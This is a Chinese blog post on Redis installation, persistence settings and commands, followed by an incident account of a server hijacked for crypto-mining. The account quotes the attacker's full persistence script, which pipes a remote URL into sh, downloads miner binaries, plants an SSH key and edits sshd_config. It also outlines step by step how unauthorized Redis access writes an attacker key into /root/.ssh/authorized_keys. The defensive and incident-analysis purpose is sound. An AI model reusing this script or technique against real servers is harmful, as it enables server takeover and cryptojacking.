• linux中redis的安装配置,后门漏洞修复及其攻击方法整合


    Linux上redis安装:

    1. 需先在服务器上安装yum(虚拟机可使用挂载的方式安装)
    2. 安装配置所需要的环境运行指令:  yum -y install gcc
    3. 进入解压文件执行make 指令进行编译
    4. 执行指令make PREFIX=/usr/local/redis  install指定安装位置进行安装
    5. 将解压目录下的redis.conf拷贝一份到安装路径的bin目录根目录下(redis.conf可修改端口号密码等),编译redis.conf把里面的daemonize no改成daemonize yes保存并退出
    6. 到bin的根目录下执行 ./bin/redis-server  ./redis.conf进行后台启动;
    7. 关闭 ./bin/redis-cli shutdowm
    8. ./bin/redis-cli   ping  回复pong 则表示安装成功

    注:当执行某些文件时有可能提示没有权限可执行 chmod 777 test.sh(文件名)进行授权

     

    Redis特性:
    1.每个Redis实例有16个数据库,角标从0~15,默认为0,也可以通过select来选择数据库。比如:select 1,选择1号数据库,move用于移动数据库。比如:move myset 1,表示移动myset这个key到1号数据库。
    2.开启事务会将任务放到queue中,当提交事务时逐个执行
    命令:
      (1)切换数据库:select [0~15]
      (2)开启事务:multi
      (3)提交事务:exec
      (4)回滚事务:discard
     
    redis的持久化:
    1.RDB持久化:在一定时间内将数据写入到内存中
    2.AOF持久化:以日志形式将操作redis的操作命令增删改保存到日志中保存到硬盘中.默认是关闭状态,需要开启,保证再次启动时候数据完整性,不持久化 将redis持久化关闭,关闭以后可以将redis看成一个缓存.用作缓存同时使用 RDB和AOF 两种方式保证数据持久化,使数据更完整(建议使用)。
    1.RDB
     优点:
      (1)可将数据库保存为一个文件,便于备份
      (2)可方便移植
      (3)性能最大化,可开启小的进程处理持久化操作
     缺点:
      (1)不能保证数据完整性
      (2)当数据过大,进程处理将会延迟几百到一千毫秒
     
    配置过程:
      (1)编辑redis.conf文件:vim redis.conf
      (2)找到时间戳,可配置秒、分、时与之存储量
      (3)rdb文件默认保存在redis安装目录
    2.AOF
    优点:
    (1)aof默认是不开启的
    (2)同步写入频率高,效率低,方式最安全.
    (3)写入模式采用append模式,追加模式, 不破坏写入日志数据,在redis中追加也不会破坏文件.如果在写入一半时候就出现崩溃问题,redis下次启动之前通过 redis-check-aof这个工具来帮助数据一致性问题
    (4)当数据过大,可启动修改重写机制,redis采用append的这种机制,将新的修改的数据不短的写到老的磁盘文件当中,同时创建新的文件保存操作,保证修改数据的更新
    (5)日志文件格式清晰,便于重建数据
    缺点:
    (1)对于相同数据集aof文件比rdb文件大一些
    (2)根据同步策略不同,效率比rbd低.
    配置过程:
    (1)编辑redis.conf:vim redis.conf
    (2)找到appendonly 未开启为no 需要改成yes(因为默认使用rdb方式所以)
    (3)Redis的目录下会产生appendonly.aof这个文件,用来保存appendonly的之前的增删改操作,
    (4)appendfsync always 没修改一次就同步到磁盘上
    (5)appendfsync everysec 每秒会向硬盘中同步一次
    (6)appendfsync no 不同步到硬盘中
    (7)停掉redis  ./bin/redis-cli shutdown 
    (8)重启redis  ./bin/redis-servers ./redis.conf
    (9)flushall 清空数据库 , 做缓存使用  
    (10)进入appendonly.aof删除flushall可以恢复数据库

    相关命令:

      (1)左插入:lpush 列名 [值..];右插入:rpush 列名 [值..]

      (2)查询:lrange 列名 [begin,end](两者可为正负整数,负数则从相反方向计数,正数从0开始,负数从-1开始)

      (3)左弹:lpop 列名;右弹:rpop 列名(查出结果均被删除)

      (4)数量:llen 列名

      (5)已有列左插入:lpushx 列名 [值...];已有列右插入:rpushx 列名 [值...]

      (6)移除:lrem 列名 [count] 值 (count可为正负数,负数则从相反方向计数,0为所有值)

      (7)指定插入:lset 列名 [index] 值

      (8)从前插入:linsert 列名 before [指定值] 值;从后插入:linsert 列名 after [指定值] 值

      (9)从列1弹出最后元素插入列2的头部:rpoplpush 列1名 列2名

    (10)所有键列:keys *
    (11)指定开头键列:keys [*]?
    (12)删:del 键...
    (13)判断存在:exists 键
    (14)重命名:rename 旧键名 新键名
    (15)设过期时间:expire 键 [seconds]
    (16)查过期时间:ttl 键
    (17)键的值类型:type 键
    hset map-name key name
    hmset map-name (key name)+  同时设置多个值
    hget map-name key
    hmget map-name (key)+    同时获取多个值
    hgetall map-name  获取一个map中所有的值
    hdel  map-name (key)+   删除一个或多个值  返回值:受影响的行数
    del map-name     删除map
    hincrby map-name key step 按指定步长增加
    hexists map-name key    判断非空
    hlen map-name  获取长度
    hkeys map-name 获取所有的key
    hvals map-name 获取所有的值

    常用类型:
    String 
    hash
    key不要太长、太短,命名统一
    set key value # 赋值
    get key # 获取值
    getset company baidu ==>  get company , set company baidu
    del key # 删除
    incr num # num 的值+1 没有默认为0 加一就是1 如果num类型不能做加一运算报错
    decr num # 减一 同理
    incrby num 5 # num += 5
    decrby num 5 # num -= 5;
    append num 5 # num 后面追加字符串“5” 如果num不存在默认为空字符串
    sadd key value//添加值
    srem key value //删除value值
    smembers key //获取key value 值
    sismember key a //判断a 是否在 value中 ,若在返回1 否则返回0
    sdiff key1 key2 //得到连个集合的差集
    sinter key1 key2 //得到key1 key2交集
    sunion key2 key3 //得到key2 ,key3的并集
    scard key //得到集合这个集合的具体数量
    srandmember key//获取 这个集合的 随机元素
    sdiffstore key key1 key2 //把key1 key2的差集存储到key中
    sinterstore key key1 key2 //把key1 key2的交集存储到key中
    sunionstore key key2 key3 //把key2 key3 的并集结果存储到key中
    zadd key 70(分数) value 80(分数)ls //添加元素
    zadd key 90(分数)ls //这个时候不会添加元素 ,会把分数为80的替换掉
    zadd key 60(分数)tom //这个时候会添加元素成功
    zscore key  value  //获取到分数
    zcard key // 获取数量
    zrem key value1 value2 ....//删除相应的值
    zrange key 0 -1 //获取key值
    zrange key 0 -1 withscores//获取key值和分数
    zrevrange key 0 -1 withscores//从大到小的排序
    zremrangebyrank key 0 4//表示 按范范围删除
    zremrangebyscore key 80 100 //表示 从80-100分的分数删除掉
    zrangebyscore key 0 100 withscores //表示0到100的分数显示
    zrangebyscore key 0 100 withscores limit 0 2//只显示2条
    zcount key 80 90//显示80 到90分的个数



     

     

    
    
    
    

    服务器被攻击成为挖矿肉鸡的原因,以及解决办法:

    原因:
        (1)在服务器安装了redis服务,攻击者通过客户端可以ssh连接我们的redis服务器,只要指定ip和端口(这个比较好猜,ip是服务器ip,端口是默认的);
        (2)同时,在设定授权访问的密码时,密码强度不够(之前是qyjy)与我们的平台名称关联较大,估计被试出来了;
        (3)通过上面两步,已经可以访问我们的redis服务器了,攻击者再通过redis的config命令将预先准备的脚本植入到linux服务器的/root/.ssh/文件夹下的authotrized_keys文件里,这样攻击者也可以ssh访问我们的服务器了。

    影响:
    此次攻击危险程序极大,还好攻击者只是用来做肉鸡,如果删除了服务器的文件或者数据库将是灾难性的。

    解决办法:
    虽然是redis的漏洞,但是我们也是可以通过一些措施防御的。
        (1)绑定固定ip(不要使用公网IP),增加通过客户端ssh的难度
        (2)更换端口号(不使用默认的端口),增加通过客户端ssh的难度
        (3)设置强度更高的访问密码(英文数字符号组合),增加通过客户端ssh的难度
        (4)重命名config命令(使用英文数字+config组成的命令代替config),攻击者无法轻易的用config命令了

     

    补充攻击方法http://blog.csdn.net/whs_321/article/details/51734602(摘自网友)

    听到朋友说接到阿里云的报障,提示黑客把他的服务器当肉鸡了,当时有点怕怕,继而官方的网络带宽也爆了进而系统处于瘫痪,当时我需要帮他处理这个问题

    1 在没有查到杀手之前我是先把带宽&端口用iptables 做了限制这样能保证我能远程操作服务器才能查找原因

      

    2 在各种netstat –ntlp  的查看下没有任何异常 在top 下查到了有异常进程还有些异常的这里就截图一个

     

     

    3 结果果断把进程给kill -9  了  没想到再去ps的时候又来了意思就是会自动启动它

      这就让我想到了crond 这个自动任务果不其然 /var/spool/cron/root 这个文件被人做了手脚而且是二进制的声音干脆果断又给删除了,   以为这下没事了结果过了两分钟这个文件又来这个就引起我主要了联想到了是不是有说明守护进程了这样的事情肯定是有守护进程在才   会发生的了,于是我去百度了下 jyam -c x -M stratum+tcp 果不其然确实有这样的攻击,网上说这个攻击是由于redis未授权登陆漏洞引   起导致黑客利用的结果我去redis 控制台登录一看固然有个莫名其妙的key 刚好这个key 就是ssh的key于是断定黑客是从reids的未授权漏   洞登陆进来的(因为便宜服务器防火墙是关闭状态的端口全部开放的)

    4 在服务器上我查了自动任务的文件被黑客编译成二进制的源文件代码,所以我无法得知内容。 但是我在crond的日志里面找到了他下    载脚本的链接

      

    5 代码大致如下

        exportPATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

     

        echo "*/2 ** * * curl -L https://r.chanstring.com/api/report?pm=1 | sh" >/var/spool/cron/root

        # echo "*/2* * * * ps auxf | grep -v grep | grep yam || /opt/yam/yam -c x -    Mstratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8    Coo:x@xmr.crypto-pool.fr:6666/xmr">> /var/spool/cron/root

        echo "*/5 ** * * ps auxf | grep -v grep | grep gg3lady || nohup /opt/gg3lady &">> /var/spool/cron/root

     

        ps auxf | grep-v grep | grep yam || nohup /opt/yam/yam -c x -    Mstratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8    Coo:x@xmr.crypto-pool.fr:6666/xmr&

     

        if [ ! -f"/root/.ssh/KHK75NEOiq" ]; then

             mkdir -p ~/.ssh

             rm -f ~/.ssh/authorized_keys*

             echo "ssh-    rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkB    CbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3tx    L6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX    1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFavroot" > ~/.ssh/KHK75NEOiq

             echo "PermitRootLogin yes">> /etc/ssh/sshd_config

             echo "RSAAuthentication yes">> /etc/ssh/sshd_config

             echo "PubkeyAuthenticationyes" >> /etc/ssh/sshd_config

             echo "AuthorizedKeysFile.ssh/KHK75NEOiq" >> /etc/ssh/sshd_config

             /etc/init.d/sshd restart

        fi

     

        if [ ! -f"/opt/yam/yam" ]; then

             mkdir -p /opt/yam

             curl -f -Lhttps://r.chanstring.com/api/download/yam -o /opt/yam/yam

             chmod +x /opt/yam/yam

             # /opt/yam/yam -c x -    Mstratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8    Coo:x@xmr.crypto-pool.fr:6666/xmr

        fi

     

        if [ ! -f"/opt/gg3lady" ]; then

             curl -f -Lhttps://r.chanstring.com/api/download/gg3lady_`uname -i` -o /opt/gg3lady

             chmod +x /opt/gg3lady

        fi

     

        # yam=$(ps auxf| grep yam | grep -v grep | wc -l)

        # gg3lady=$(psauxf | grep gg3lady | grep -v grep | wc -l)

        # cpu=$(cat/proc/cpuinfo | grep processor | wc -l)

     

        # curlhttps://r.chanstring.com/api/report?yam=$yam&cpu=$cpu&gg3lady=$gg3lady&arch=`uname-i`

     

     于是终于找到源头了,下面我们来分析下这个脚本

     6 脚本分析

      

        echo "*/2 * * * * curl -L https://r.chanstring.com/api/report?pm=1 | sh" > /var/spool
        /cron/root   每两分钟来一次这个脚本
     

            echo "*/5 ** * * ps auxf | grep -v grep | grep gg3lady || nohup /opt/gg3lady &">> /var/spool/cron/root

        这个脚本我不知道干么的应该是生成这个自动任务文件的守护进程以至于删除自动任务文
        件会自动再来一份  脚本进程死了这个自动任务又会起来
        ps auxf | grep -v grep | grep yam || nohup /opt/yam/yam -c x -M stratu
        m+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV
        6WBRpbQtQgAMQE8Coo:x@xmr.crypto-pool.fr:6666/xmr &
        这个是挖矿脚本,黑客靠这个连接池去挖btc(比特币)意思就是这个肉鸡已经提供了
            下面这个就是一个免密钥登陆的脚本了

    下面这两个是下载文件的脚本跟赋权限

    
    

     

        整个脚本的大致就这样  

     7  处理方法只要把 /var/spool/cron/root 删除  /opt/yam/yam   删除   /opt/gg3lady 删除  .ssh/KHK75NEOiq 删除

     

        把gg3lady  yam     进程结束还有就是sshd_confg 文件还原,把redis入侵的key删除应该就没问题了。但是为了安全起见还是希望

        重装服务器,不确保别人 不留其他的漏洞

     

        关于reidis 未授权登陆漏洞

        漏洞概要

     

            Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。

        

         漏洞概述

     

    Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。

     

        漏洞描述

     

    Redis 安全模型的观念是: “请不要将Redis暴露在公开网络中, 因为让不受信任的客户接触到Redis是非常危险的” 。

    Redis 作者之所以放弃解决未授权访问导致的不安全性是因为, 99.99%使用Redis的场景都是在沙盒化的环境中, 为了0.01%的可能性增加安全规则的同时也增加了复杂性, 虽然这个问题的并不是不能解决的, 但是这在他的设计哲学中仍是不划算的。

    因为其他受信任用户需要使用Redis或者因为运维人员的疏忽等原因,部分Redis 绑定在0.0.0.0:6379,并且没有开启认证(这是Redis的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip访问等,将会导致Redis服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。

    利用Redis自身的相关方法,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,进而可以直接登录目标服务器。  (导致可以执行任何操作)

     

       漏洞影响

         

    Redis 暴露在公网(即绑定在0.0.0.0:6379,目标IP公网可访问),并且没有开启相关认证和添加相关安全策略情况下可受影响而导致被利用。

    这里我可以演示一遍给大家看看怎么通过redis未授权漏洞直接免密钥进行登陆

     

        攻击过程

    (注意我本机是162   要入侵的服务器是161)

    
    

    1 生成本地服务器私钥跟公钥

    2 把公钥写进我们要攻击的服务器的redis一个key里面去 (为什么要把公钥加空格追加到一个文件是因为redis的存储)

    3  登陆要攻击的服务器redis控制台,从新定义redis保存数据的路径为configset dir /root/.ssh/(这个是需要知道linux下面ssh 面密钥登陆的key默认的存放才能设定的默认情况下是/roo/.ssh一般情况下很多管理员都不会去更改),在把reids的dbfilename定于成 linux 下面ssh面密钥登陆的文件名就好了configset dbfilename "authorized_keys"(默认文件名是authorized_keys 这个广大linux管理员都这个这个所以这个入侵还是要点linux功底的),最后保存 save

    4 激动人心的时刻到了直接ssh 登陆192.168.8.161  无需要密码就能登陆了

     

     到这里我们就可以完全控制别人的服务器了,你先怎么玩就怎么玩了(仅供学习研究)

    6 这里我搜了下全球暴露公网的还有10W+的的服务器,(仅供学习研究,希望不要利用教程去做违法的事情)

    
    
  • 相关阅读:
    python环境的安装 环境变量和系统变量
    git语句(后续补充)
    pycharm的安装配置及思维导图
    python基础知识 01
    C#基础系列——异步编程初探:async和await
    Type.MakeGenericType 方法 (Type[]) 泛型反射
    ZeroFormatter
    intelliJ IDEA相关
    truesky天气系统
    tressfx hair
  • 原文地址:https://www.cnblogs.com/ajax-li/p/7676361.html
Copyright © 2020-2023  润新知